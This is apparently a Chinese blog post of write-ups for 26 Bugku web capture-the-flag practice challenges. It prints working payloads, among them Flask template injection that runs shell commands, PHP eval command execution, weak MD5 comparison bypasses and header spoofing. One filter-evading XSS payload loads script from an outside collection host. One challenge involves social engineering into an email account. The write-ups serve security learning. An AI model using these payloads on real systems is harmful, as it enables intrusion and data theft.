Gsupl.落浅~zbxGsupl.落浅~

07:51:06 PM

西雅图

Web专项—基础题目

Gsupl.落浅·2024-08-01 15:40·60 次阅读

Web专项—基础题目

Copy
注:web_基础题目以bugku练习题目为例!

第一部分

web_1_Simple_SSTI_1

(1)思路:
启动场景网页显示You need pass in a parameter named flag。//你需要传入一个名为flag的参数
查看源码发现You know, in the flask, We often set a secret_key variable.
就是提示你用flask模板进行注入;经典的sstl
(2)题解
/?flag={{config}}
image

web_2_Simple_SSTI_2

(1)题解:
启动场景;还是提示//你需要传入一个名为flag的参数
尝试/?flag={{config}};在敏感信息中并没有找到flag
通过
{{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}读取系统文件
image
发现了一些系统文件;并没有找到flag相关的信息;可能是藏在这些文件夹了;一个一个看;发现在app文件中
{{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}
image
查看拿到flag('cat ../app/flag')
image

web3_Flask_FileUpload

(1)题解:
根据题目名称好像是文件上传;f12查看发现需要提交一个name为file;后缀为jpg或png的文件;并且用python程序执行的结果回显;意思就是我上传一个文件;flask框架会执行里面的python代码;那就好办了!上传一个file.jpg(内容为import os os.system('ls / ');然后发现了网站的目录中有flag信息
image
代码修改为os.system('cat /flag');拿到flag
image

web4_留言板

(1)根据题目描述"题目无需登录后台";
image
发现了后台登录网址;然后使用xss平台接受flag
image

解码拿到flag
flag=flag{d27b8031110241fbe139a575cd6b76e1}

web5_滑稽

(1)题解:启动场景发现满屏的滑稽表情包;f12直接拿到flag
image

web6_计算器

(1)题解:限制了输入的长度;直接f12修改输入答案拿到flag;或者在url后面加上在网址后边加上/js/code.js,找到flag
image

web7_GET

(1)题解:一个简答的php代码审计;GET方式提交数据;直接在url后面加上/?what=flag;拿到falg

web8_POST

(1)题解:POST方式提交数据直接使用Hackbar插件或者抓包重放拿到flag
image

web9_矛盾

(1)题解:分析代码发现存在逻辑问题;is_numeric检测num是否为数字;如果不是数字;执行echo $num;
然后在num不是数字的情况下判断是否为1;这就是矛盾点;php代码中存在弱相等“==”;考点就是php弱相等碰撞!
“==”首先判断两者的类型是否相等;如果不相等先转化为相等的类型在比较值;比如传递一个1admin;这是一个字符串;然而1是整形;那么需要将1admin转化为整形(1admin(str)=>1(int))
image

web10_alert

(1)题解:f12在源码中发现了一串奇奇怪怪的东西;发现是html实体编码;直接解码拿到flag

image

web11_你必须让他停下来

(1)题解:启动场景发现flag就在源码当中;但是闪的停不下来;直接禁用js;或者bp抓包重放拿到flag

web12_社工_初步收集

(1)题解:发现什么都没有;先扫描一下目录;发现了好多目录;其中有.git泄露;用githack工具看了下没发现flag;
image
里面有admin/login.php;看下后台吧
image
社工收集登录到邮箱拿到账号和密码(被哈锤子吧授权码换了;妈的);登录后台拿到flag
image
image

web13_game1

(1)题解:打开环境,进去是一个游戏,先玩一下,是个盖楼游戏;f12查看源码;搜索sign;(需要游戏结束);sign的值为zM+base64(score)+==
image
MjU解码刚好是25;当前游戏的得分;应该是分数达到一定的阈值就能拿到flag;设置为9999,base64编码为OTk5OQ;使用bp抓包修改;拿到flag
image

web14_网站被黑

(1)题解:先扫描一下目录;发现了shell.php
image
进入发现了输入框;直接bp抓包破解拿到密码hack,拿到flag
image

web15_本地管理员

(1)题解:管理员用户假设是admin;f12在源码中发现了dGVzdDEyMw== ;base64解密得到test123;尝试登录;出现IP禁止访问,请联系本地管理员登陆,IP已被记录. ;题目要求是本地登录;就是说数据包中必须有
X-Forwarded-For:127.0.0.1;直接Bp抓包增加这一字段获取flag
image

web16_bp

(1)题解:使用z+top10000字典;bp抓包爆破;不同的是这次length长度是一样的我贼!密码是zxc123;增加一层过滤 code: 'bugku10000' 搜索不匹配条目!
image

web17_eval

(1)题解:分析PHP代码存在eval()函数;直接构造payload/?hello=system("ls")查看当前目录;发现了flag.php;直接/?hello=system("cat flag.php");f12在源码中拿到flag
image

web18_变量1

(1)题解:分析php代码;发现对输入的值进行了正则过滤;正则表达式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成 die("args error!"); } ;直接使用超级全局变量GLOBALS或者使用_SERVER拿到flag
image

web19_头等舱

(1)题解:f12;发现cookie中藏了flag信息
image

web20_Source

(1)题解:f12发现了flag;但是是假的;扫描一下目录;发现好多.git文件
image
使用githack工具或者使用wget下载泄露的源码看看
image
发现了flag.txt;直接访问得到flag
image
好像不是的;还是假的;输入git relog;发现了好多分支;一个一个找;发现了最终的flag
image

第二部分

web21_留言板1

(1)题解:需要xss平台接收flag;尝试写入js脚本;发现对script进行了过滤;替换为空;并且对空格进行了过滤;空格用%0a进行替换!
构造payload<sCRscriptiPt%0asRC=//xs.pe/cqW></sCrscriptIpT>
在xss平台中拿到flag!

web22_源代码

(1)题解:查看源码发现url编码的Js代码;解码之后分析代码得出如果提交的数值为p1+p2的值67d709b2baa648cf6e87a7114f1;则输出flag;看不到没关系;直接用chat跑:这段JavaScript代码通过eval执行了一个表单提交验证函数,该函数检查特定输入框的值是否与硬编码的哈希值匹配,如果不匹配则阻止表单提交,但这种方式存在安全风险。
image

web23_文件包含】

(1)题解:文件包含这里题目首先考虑//flag;要是没有的话看看常见的伪协议是否可以利用;比如php://input协议;php://filter协议;zip://;这道题直接//flag直接拿到flag
image

web24_好像需要密码

(1)题解:题目提示是5位数密码;直接bp爆破;拿到flag
生成字典:
printf "%05d\n" {0..99999} > digits_5.txt
根据返回的length的值看响应包拿到flag
image

web25_备份是个好习惯

(1)题解:目录扫描发现了index.php.bak文件;打开是一道php代码审计的题目;考点是弱类型MD5绕过使用0e开头的md5绕过就行;如果是强类型使用数组绕过
image
构造payload:
/?kkeyey1=s878926199a&&kkeyey2=s155964671a
image
(2)phpMD5弱类型:PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

web26_No one knows regex better than me

(1)题解:根据题目应该考察的是正则表达式过滤;还是一道php代码审计的题目
image
首先接受zero和first两个参数;将传递进来的字符串拼接成字符串;首先判断字符串中是否有Yeedo"、"wants"、"a"、"girl"、"friend"、"or"或"a flag";通过preg_math检查是否有.. flag等字符;如果有输出Noooood hacker!;最后还会检查$first是否包含特定的十六进制和八进制表示的字符串。这个特定的字符串是|\056\160\150\x70,经过解析后,它代表|.php;太难了;目前先跳过吧!这是大佬的payload?zero=ZmxhZw==&amp;first=abcd|.php

陆续更新中!

posted @   Gsupl.落浅~  阅读(60)  评论(0编辑  收藏  举报
(评论功能已被禁用)
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
点击右上角即可分享
微信分享提示

目录导航

第一部分
web_1_Simple_SSTI_1
web_2_Simple_SSTI_2
web3_Flask_FileUpload
web4_留言板
web5_滑稽
web6_计算器
web7_GET
web8_POST
web9_矛盾
web10_alert
web11_你必须让他停下来
web12_社工_初步收集
web13_game1
web14_网站被黑
web15_本地管理员
web16_bp
web17_eval
web18_变量1
web19_头等舱
web20_Source
第二部分
web21_留言板1
web22_源代码
web23_文件包含】
web24_好像需要密码
web25_备份是个好习惯
web26_No one knows regex better than me
陆续更新中!